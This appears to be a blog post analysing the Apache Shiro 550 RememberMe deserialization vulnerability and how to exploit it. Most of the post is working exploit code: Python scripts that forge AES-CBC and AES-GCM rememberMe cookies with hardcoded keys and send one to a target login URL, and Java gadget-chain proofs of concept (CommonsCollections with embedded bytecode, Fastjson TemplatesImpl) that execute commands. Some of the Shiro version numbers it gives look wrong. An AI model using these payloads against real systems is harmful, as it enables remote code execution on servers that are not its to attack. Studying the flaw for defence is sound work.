Shiro 550 Deserialization Vulnerability Analysis and Exploitation Techniques

Understanding the Shiro Framework 550 Deserialization Vulnerability

Environment Setup

Required components: Shiro source code, JDK 8, Tomcat

Vulnerability Root Cause

The vulnerability affects Shiro versions <= 1.2.24, though higher vertions may also be vulnerable if developers configure hardcoded keys. The security flaw exists in the RememberMe functionality, which allows users to remain logged in after closing the browser. Developers implement this by serializing RememberMe values for storage and deserializing them for retrieval.

The processing flow is: Extract RememberMe value → Base64 decode → AES decrypt (using hardcoded key) → Deserialize (without filtering). The final two steps enable attackers to construct malicious objects.

Technical Analysis

By analyzing the login process and setting breakpoints at onSuccessfulLogin, we observe that RememberMeManager's abstract subclass handles the authentication flow. If isRememberMe(token) returns false, the process skips rememberIdentity(); otherwise, it proceeds.

The convertPrincipalsToBytes method converts the identity to byte arrays, followed by serialization and encryption via the encrypt() function. The AES encryption uses CBC mode with a hardcoded key obtained through getEncryptionCipherKey(). Since AES is symmetric encryption and the key is known, forgery becomes possible.

The encrypted data is then Base64 encoded and stored as a cookie. During decryption, the ClassResolvingObjectInputStream performs deserialization, which is where the vulnerability manifests.

Vulnerability Detection

Use URLDNS chain for verification. Generate encrypted payloads and test with the following script:

DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA=="

def create_encrypted_payload(filename):
    with open(filename, "rb") as file:
        payload_data = file.read()
    
    block_size = AES.block_size
    padding = lambda s: s + ((block_size - len(s) % block_size) * 
                chr(block_size - len(s) % block_size)).encode()
    
    encryption_key = "kPH+bIxk5D2deZiIxcaaaA=="
    cipher_mode = AES.MODE_CBC
    initialization_vector = uuid.uuid4().bytes
    
    cipher = AES.new(base64.b64decode(encryption_key), cipher_mode, initialization_vector)
    encrypted_text = base64.b64encode(initialization_vector + 
                     cipher.encrypt(padding(payload_data)))
    return encrypted_text

if __name__ == "__main__":
    binary_file = sys.argv[1]
    print(create_encrypted_payload(binary_file))

Note: Remove JSESSIONID to insure RememberMe authentication is used.

Exploitation Methods

1. CommonsBeanutils Attack

Shiro includes CommonsBeanutils 1.8.3 by default. Generate compatible payloads matching the target environment version to avoid class loading issues.

2. CommonsCollections3 Attack

Shiro doesn't include CommonsCollections dependencies by default. Add CC3 dependencies manually. The ClassResolvingObjectInputStream cannot load array classes, requiring modifications to avoid array usage.

Original transformer array:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

Modified approach using single InvokerTransformer:

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);

Working PoC:

public class ModifiedCC6Exploit {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templateObj = new TemplatesImpl();
        Class templateClass = TemplatesImpl.class;
        
        Field nameField = templateClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templateObj, "test");
        
        Field bytecodeField = templateClass.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        byte[] maliciousCode = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
                "AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
                "bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
                "b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
                "bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
                "cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
                "YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
                "YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
                "aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
                "AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
                "dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
                "Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
                "OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
                "ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
                "Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
                "YW5haW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
                "L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
                "ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
                "YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
                "dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
                "AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
                "AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
                "AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
                "EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
                "AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
                "EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
        
        byte[][] codeArray = {maliciousCode};
        bytecodeField.set(templateObj, codeArray);

        InvokerTransformer invoker = new InvokerTransformer("newTransformer", null, null);

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), invoker);
        TiedMapEntry tiedEntry = new TiedMapEntry(new HashMap(), templateObj);
        
        HashMap<Object,Object> mainMap = new HashMap();
        mainMap.put(tiedEntry, "value");
        
        Class tiedMapEntryClass = Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Field mapField = tiedMapEntryClass.getDeclaredField("map");
        mapField.setAccessible(true);
        mapField.set(tiedEntry, lazyMap);
        
        // Serialize
        new ObjectOutputStream(new FileOutputStream("payload.bin")).writeObject(mainMap);
        // Deserialize
        new ObjectInputStream(new FileInputStream("payload.bin")).readObject();
    }
}

3. CommonsCollections4 Attack

Use CC2 chain direct since it doesn't involve array classes.

Practical Application

Testing with kvf-admin project (Shiro version 1.2.60) demonstrates that even newer Shiro versions can be vulnerable if developers use hardcoded keys.

GCM mode encryption script:

def create_gcm_payload(filename):
    with open(filename, "rb") as file:
        payload_data = file.read()
    
    key = base64.b64decode("2AvVhdsgUs0FSA3SDFAdag==")
    cipher = AES.new(key, AES.MODE_GCM)
    ciphertext, auth_tag = cipher.encrypt_and_digest(payload_data)
    nonce_value = cipher.nonce
    encrypted_payload = nonce_value + ciphertext + auth_tag
    rememberme_cookie = base64.b64encode(encrypted_payload).decode()
    return rememberme_cookie

if __name__ == "__main__":
    payload_file = sys.argv[1]
    rememberMe_value = create_gcm_payload(payload_file)
    print(rememberMe_value)
    
    target_url = "http://target-ip/login"
    headers = {
        "Cookie": f"rememberMe={rememberMe_value}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    }
    post_data = {"username": "test"}
    response = requests.post(url=target_url, headers=headers, data=post_data)
    print(response.text)

When CommonsCollections and CommonsBeanutils are unavailable, leverage Fastjson 1.2.79 deserialization chain:

public class FastjsonExploit {
    public static byte[] generateTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Exploit");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String maliciousCode = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(maliciousCode);
        return ctClass.toBytecode();
    }

    public static void setField(Object target, String fieldName, Object value) throws Exception{
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] bytecode = generateTemplates();

        TemplatesImpl template = new TemplatesImpl();
        setField(template, "_bytecodes", new byte[][] {bytecode});
        setField(template, "_name", "Malicious");

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        setField(exception, "val", jsonArray);

        HashMap map = new HashMap();
        map.put(template, exception);
        
        new ObjectOutputStream(new FileOutputStream("fastjson_payload.bin")).writeObject(map);
        new ObjectInputStream(new FileInputStream("fastjson_payload.bin")).readObject();
    }
}

Tags: Shiro java-deserialization security-vulnerability AES-Encryption RememberMe

Posted on Thu, 30 Jul 2026 17:02:25 +0000 by railanc4309